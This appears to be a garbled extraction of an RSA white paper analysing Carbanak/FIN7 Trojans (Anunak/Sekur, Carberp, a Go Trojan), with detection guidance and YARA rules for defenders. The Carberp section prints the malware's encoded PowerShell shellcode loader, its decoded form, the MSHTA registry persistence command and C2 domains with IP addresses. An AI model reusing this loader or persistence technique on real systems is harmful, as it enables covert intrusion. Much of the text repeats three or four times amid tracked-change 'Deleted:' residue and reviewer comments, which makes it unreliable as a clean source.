https://www.google.com/search?sourcehpqdefinesyndicateoqdefinesyndicategs_lpsy-ab.3..35i39k1l2j0l2.600.2467.0.2628.17.13.0.0.0.0.259.1647.0j7j2.9.0....0...1.1.64.psy-ab..8.9.1646.0..0i20k1j0i131k1j0i67k1.0.e_44dxWZJ_s https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html https://github.com/nyx0/Carberp https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://en.wikipedia.org/wiki/Carding_(fraud) WHITE PAPER 2 This paper reviews the characteristics of Carbanaks known Trojans and TTPs to provide network defenders a better understanding of the groups capabilities and history.
Armed with this knowledge, defenders should be able to better assess risk and allocate resources to the appropriate blind spots that plague most modern networked organizations.
2.
THE DIGITAL ARSENAL 2.1.
OVERVIEW During the course of this effort, RSA observed many different Remote Access Trojans (RATs) associated with this group.
Several are based on crimeware/ banker Trojans that are in use by different criminal actors, but are uniquely customized for Carbanak/FIN7.
The following sections outline the capabilities of each RAT and discuss possible detection methods.
2.1.1.
Anunak/Sekur The Anunak, or Sekur, Trojan has beenand may still bethe mainstay of the Carbanak/FIN7 syndicate.
A custom configurable Trojan, it has undergone minor changes over the past several years, most notably to its communications protocols.
The Anunak/Sekur Trojan is a self-contained dropper/Trojan combination.
If executed outside of its configured path, it will entrench itself and remove the original file.
The Trojan is typically packed or crypted (a packer modified over time using encryption, encoding or compression methodologies), making static analysis difficult and rendering signatures useless.
The Trojan begins by resolving Win32 API addresses and uses RtlDecompressBuffer to expand the compressed payload DLL.
The Trojan starts the Service Host executable, svchost.exe, in a suspended state (Figure 1).
Figure 1: Create svchost.exe Suspended The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
2.The Digital Arsenal 2.1.
Overview During the course of this effort, RSA observed many different Remote Access Trojans (RATs) associated with this group.
Several are based on crimeware/banker Trojans that are in use by different criminal actors, but are uniquely customized for Carbanak/FIN7.
The following sections outline the capabilities of each RAT and discuss possible detection methods.
2.1.1.
Anunak/Sekur The Anunak, or Sekur, Trojan has beenand may still bethe mainstay of the Carbanak/FIN7 syndicate.
A custom configurable Trojan, it has undergone minor changes over the past several years, most notably to its communications protocols.
The Anunak/Sekur Trojan is a self-contained dropper/Trojan combination.
If executed outside of its configured path, it will entrench itself and remove the original file.
The Trojan is typically packed or crypted (a packer modified over time using encryption, encoding or compression methodologies), making static analysis difficult and rendering signatures useless.
The Trojan begins by resolving Win32 API addresses and uses RtlDecompressBuffer to expand the compressed payload DLL.
The Trojan starts the Service Host executable, svchost.exe, in a suspended state (Figure 1).
Figure 1: Create svchost.exe Suspended Deleted: Deleted: Crimeware Deleted: Banker Deleted: Fin7 Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Syndicate Deleted: Comment [DC15]: Isthisouranalysisordoesitcomefrom anothersource?Ifthelatter,weshouldcitethesource.
Comment [e16]: Thisismyanalysis.
Deleted: Deleted: Deleted: , Deleted: .
Deleted: Deleted: WHITE PAPER 3 Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEye goes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi- directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Deleted: Deleted: Deleted: - Deleted: Deleted: Deleted: Packets Deleted: Logs Comment [DC17]: Cananyoneaccessthisorisitopen publicly?
Comment [e18]: Public Deleted: Section Deleted: Deleted: https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html WHITE PAPER 4 Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi-directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Figure 7: Anunak/Sekur HTTP GET Request Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi- directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Deleted: Deleted: Deleted: - Deleted: Deleted: Deleted: Packets Deleted: Logs Comment [DC17]: Cananyoneaccessthisorisitopen publicly?
Comment [e18]: Public Deleted: Section Deleted: Deleted: Figure 7: Anunak/Sekur HTTP GET Request Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Deleted: - Deleted: .
Deleted: Deleted: https://community.rsa.com/docs/DOC-62341 WHITE PAPER 5 Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right- click the DLL, select analyze and view the strings.
The configuration path C:\ ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak  meta: author  RSA FW strings: mz       4D 5A regex  /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex  Figure 7: Anunak/Sekur HTTP GET Request Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Deleted: - Deleted: .
Deleted: Deleted: Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select analyze and view the strings.
The configuration path C:\ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak  meta: author  RSA FW strings: mz       4D 5A regex  /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex  The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Deleted: right Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: WHITE PAPER 6 The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select analyze and view the strings.
The configuration path C:\ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak  meta: author  RSA FW strings: mz       4D 5A regex  /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex  The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Deleted: right Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 12: Anunak/Sekur Handshake Metadata  2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name:  ml.exe File Size:  96256 bytes MD5:          608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1:         37de1791dca31f1ef85a4246d51702b0352def6d PE Time:    0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name   Entropy  MD5 Deleted: Packet Deleted: Decoder Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Deleted: Fin7 Deleted: 2 Deleted: , Deleted: WHITE PAPER 7 Figure 12: Anunak/Sekur Handshake Metadata 2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/ FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name:  ml.exe File Size:  96256 bytes MD5:          608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1:         37de1791dca31f1ef85a4246d51702b0352def6d PE Time:    0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name   Entropy  MD5 .text     6.9           6b51c476e9cae2a88777ee330b639166 .rdata  4.85         ad94fa5c9ff3adcdc03a1ad32cee0e3a .data    1.2           2e2bc95337c3b8eb05467e0049124027 .rsrc     4.13         7396ce1f93c8f7dd526eeafaf87f9c2e Figure 13: Carberp Dropper Metadata The first noticeable item is that the compile time seems to be in the future.
In RSA NetWitness Endpoint, the compile time can be added in the Global Modules List and sorted on.
The two extremes are generally where the interesting modules can be found, either a very long time ago or sometime in the future.
When executed, the dropper checks to see if PowerShell is on the system and then creates registry keys in HKEY_CURRENT_USER\Software\Licenses.
HKEY_CURRENT_USER specifies the logged-on user profile, meaning this malware will only launch when the user who ran the dropper logs on.
This technique is oftentimes labelled as file-less malware, but the users Registry Hive, NTUSER.dat, is a hidden file residing in the users root directory.
Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 12: Anunak/Sekur Handshake Metadata  2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name:  ml.exe File Size:  96256 bytes MD5:          608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1:         37de1791dca31f1ef85a4246d51702b0352def6d PE Time:    0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name   Entropy  MD5 Deleted: Packet Deleted: Decoder Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Deleted: Fin7 Deleted: 2 Deleted: , Deleted: https://github.com/nyx0/Carberp https://github.com/nyx0/Carberp https://www.rsa.com/en-us/services/rsa-risk-and-cybersecurity-practice/rsa-incident-response-practice WHITE PAPER 8 On Windows Vista and newer Microsoft operating systems, this is in C:\ Users\username\ older Windows versions reside in C:\Documents and Settings\username\.
This represents a problem for the incident responder, as the malware is not present in memory, only in the registry, unless the specific user is logged on.
This is an interesting way to avoid detection by endpoint detection and response (EDR) tools.
Using a bit of creativity and PowerShell, responders can build a script that queries for user profiles and retrieves the actual Registry Hive or queries for the registry key itself.
The first registry key created is 01838681CA59881EA and contains the binary shellcode used to unpack the encoded payload DLL.
The second key is 01838611EAC11772E and contains a base 64 encoded PowerShell command (Figure 14).
PowerShell Command Encoded wnew ActiveXObject(WScript.
Shell)w.
Run(powershell.exe -noexit -enc JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQB uAGMAZQA9ACcAUwB0AG8AcAAnAAoAJABzAD0AKABHAGUAdAAt AEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACA ASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATABpAGMA ZQBuAHMAZQBzACkALgAnAHsAMAAxADgAMwA4ADYAOAAxAEMA QQA1ADkAOAA4ADEARQBBAH0AJwAKACQAbAA9ACQAcwAuAEwA ZQBuAGcAdABoAAoAJABjAD0AQAAiAAoAWwBEAGwAbABJAG0AcA BvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF 0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQ AZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaA ByAGUAYQBkACgASQBuAHQAUAB0AHIAIABhACwAdQBpAG4AdAAg AGIALABJAG4AdABQAHQAcgAgAGMALABJAG4AdABQAHQAcgAgAG QALAB1AGkAbgB0ACAAZQAsAEkAbgB0AFAAdAByACAAZgApADsAC gBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzA DIALgBkAGwAbAAiACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGE AdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgB pAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAg AGEALAB1AGkAbgB0ACAAYgAsAHUAaQBuAHQAIABjACwAdQBpAG 4AdAAgAGQAKQA7AAoAIgBAAAoAJABhAD0AQQBkAGQALQBUAHk AcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbw BuACAAJABjACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgA C0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4A YwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQAKACQAY gA9ACQAYQA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKA AwACwAJABsACwAMAB4ADMAMAAwADAALAAwAHgANAAwACkA CgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB 0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAG WHITE PAPER 9 EAbABdADoAOgBDAG8AcAB5ACgAJABzACwAMAAsACQAYgAsACQA bAApAAoAJABhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZA AoADAALAAwACwAJABiACwAMAAsADAALAAwACkAfABPAHUAdA AtAE4AdQBsAGwA,0,0) Figure 14: Encoded PowerShell Command PowerShell Command Decoded ErrorActionPreferenceStop s(Get-ItemProperty -Path HKCU:\Software\ Licenses).01838681CA59881EA ls.
Length c [DllImport(kernel32.dll)] public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f) [DllImport(kernel32.dll)] public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d)  aAdd-Type -memberDefinition c -Name Win32 -namespace Win32Functions -passthru ba::VirtualAlloc(0,l,0x3000,0x40) [System.
Runtime.
InteropServices.
Marshal]::Copy(s,0,b,l) a::CreateThread(0,0,b,0,0,0)Out-Null Figure 15: Decoded PowerShell Command This PowerShell script imports VirtualAlloc and CreateThread from Kernel32, copies the shellcode to a segment of memory with PAGE_EXECUTE_ READWRITE [ 0x40] and creates a thread at the returned base of the allocated memory indicated by variable b (Figure 15).
The malware then creates another registry entry at HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run\mshta with the values shown in Figure 16.
PowerShell Command Decoded cmd.exe /c mshta about:hta:application showintaskbarnotitle/ titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\ 01838611EAC11772E))if(window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates WHITE PAPER 10 executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti-analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Figure 19: Suspicious Strings in Floating DLL HTML Application Registry Key cmd.exe /c mshta about:hta:application showintaskbarnotitle/titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\01838611EAC11772E))if( window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti- analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Deleted: Deleted: Deleted: Deleted: Deleted: users Deleted: right Deleted: Deleted: Deleted: Deleted: Man Deleted: Middle Deleted: MiTM HTML Application Registry Key cmd.exe /c mshta about:hta:application showintaskbarnotitle/titlescriptresizeTo(0,0)moveTo(-900,-900)eval(new ActiveXObject(WScript.
Shell).RegRead(HKCU\\Software\\Licenses\\01838611EAC11772E))if( window.flag)close()/script Figure 16: MSHTA Persistence The dropper DLL then runs that same command to start the malware and exits, without deleting itself.
When the user logs onto their machine, the MS HTML Application (MSHTA) creates a new ActiveX object that executes the encoded PowerShell script.
This PowerShell script allocates executable memory and copies the binary contents of the first registry key into that space, then creates a thread at the base address of this memory.
This shellcode unpacks a Carberp DLL and runs it.
The Carberp DLL has anti- analysis features that check for virtualization and common sandboxing techniques, exiting if it finds any.
RSA NetWitness Endpoint discovers this Trojan as a floating DLL in the users explorer.exe instance (Figure 17).
Figure 17: Carberp Floating DLL Figure 18: Carberp Startup from NEW When inspecting this suspicious DLL in RSA NetWitness Endpoint, right-clicking the module and selecting Analyze shows suspicious network-related strings (Figure 19).
The malware communicates via SSL/TLS to the domains below and was active in 2015.
The Trojan may also be configured to communicate via HTTP and be detected using the HTTP section of the RSA NetWitness Hunting Pack.
If the environment is using an SSL/TLS man-in-the-middle (MITM) device, even the encrypted communications can easily be discovered.
Deleted: Deleted: Deleted: Deleted: Deleted: users Deleted: right Deleted: Deleted: Deleted: Deleted: Man Deleted: Middle Deleted: MiTM Figure 19: Suspicious Strings in Floating DLL Domain IP and Port strangeerglassingpbx.org 192.52.167.137:443 klyferyinsoxbabesy.biz 217.12.203.194:443 oplesandroxgeoflax.org never registered The following YARA signature detects the unpacked DLL in an RSA NetWitness Endpoint environment.
YARA Signature for Injected Carberp DLL rule Carbanak_Carberp  meta: author  RSA FW strings: mz        4D 5A path    userprofile\\AppData\\LocalLow\\u.db wide sbox1  MALTEST wide sbox2  TEQUILABOOMBOOM wide sbox3  SANDBOX wide sbox4  VIRUS wide sbox5  MALWARE wide uri /s?user08x08x08x08xiduveruosluos2luhostuklutypeu wide condition: mz at 0 and path and uri and all of (sbox)  https://community.rsa.com/docs/DOC-62341 WHITE PAPER 11 Domain IP and Port strangeerglassingpbx.org 192.52.167.137:443 KLYFERYINSOXBABESY.BIZ 217.12.203.194:443 OPLESANDROXGEOFLAX.ORG NEVER REGISTERED The following YARA signature detects the unpacked DLL in an RSA NetWitness Endpoint environment.
YARA Signature for Injected Carberp DLL rule Carbanak_Carberp  meta: author  RSA FW strings: mz        4D 5A path    userprofile\\AppData\\LocalLow\\u.db wide sbox1  MALTEST wide sbox2  TEQUILABOOMBOOM wide sbox3  SANDBOX wide sbox4  VIRUS wide sbox5  MALWARE wide uri /s?user08x08x08x08xiduveruosluos2 luhostuklutypeu wide condition: mz at 0 and path and uri and all of (sbox)  2.1.3.
Other Windows Trojans The Carbanak/FIN7 syndicate appears to have ready access to an array of common crimeware and banker-style Trojans, as well as a few custom, yet relatively simple, Trojans.
This indicates that they either a) are part of the development team that built these Trojans or b) have access to the vendors that sell these intrusion sets.
The simplicity of their custom malware indicates option b might be likely however, there is no direct evidence to support this conclusion.
Compounding this issue, the attackers appear to have a solid grasp on OPSEC, having evaded direct attribution thus far.
The common malware repurposed for targeted intrusions is listed below with a brief description of each.
This is worth mentioning so that a network defender can alert on AV logs for these specific classifications.
By using malware that would be classified as a common threat, they are able to avoid intense scrutiny.
WHITE PAPER 12 Trojan Family Description Andromeda/Gamarue Backdoor commonly used to deliver banking Trojans uses plug-ins like Carberp to extend functionality Qadars Banking Trojan loosely based on leaked source code of Carberp and Zeus supports plug-ins Meterpreter Metasploit backdoor payload loader very extensible Cobalt Strike Full-featured Red Team software unlicensed versions using the HTTP beacon contain the X-malware HTTP header Odaniff Download and execute arbitrary files run shell commands In addition to common crimeware repurposed for targeted intrusions, these actors also engineer their own custom, albeit simplistic, Trojans.
The following example, ctlmon.exe, is indicative of their latest work.
Carbanak/FIN7 Go Trojan File Name:  ctlmon.exe File Size:  4392448 bytes MD5:        370d420948672e04ba8eac10bfe6fc9c SHA1:       450605b6761ff8dd025978f44724b11e0c5eadcc PE Time:    0x0        [Thu Jan 01 00:00:00 1970 UTC] Sections (4): Name      Entropy  MD5 .text     5.86     81e6ebbfa5b3cca1c38be969510fae07 .data     5.17     17c39e9611777b3bcf6d289ce02f42a1 .idata    3.49     b6cb3301099e4b93902c3b59dcabb030 .symtab   0.02     07b5472d347d42780469fb2654b7fc54 This peculiar sample was simple in its implementation, but not simple to analyze.
Written in Go language and compiled into a Windows Executable, it presented several hurdles to the tools a typical malware analyst will use, specifically IDA Pro.
When importing this sample, nearly none of the functions were recognized by IDAs flow-disassembler (Figure 20).
https://golang.org/ https://www.hex-rays.com/products/ida/ WHITE PAPER 13 Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user createdallowed us to analyze the user-created logic.
Now we simply reference the functionality of the library code (Figure 22).
Figure 22: User-Created Code Instead of Compiled Libraries Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user created allowed us to analyze the user-created logic.
Now we simply reference the functionality of the library code (Figure 22).
Deleted: Deleted: Deleted: Figure 20: IDA Pro Flow-Disassembler By manually defining the code locations, along with a script from strazzere, RSA Research parsed the Go Runtime code as well as the imported libraries.
This still left more than 5000 functions to analyze (Figure 21).
Figure 21: New IDA Functions to Analyze Next, scanning through the functions to identify imported librariesnot likely malicious or user created allowed us to analyze the user-created logic.
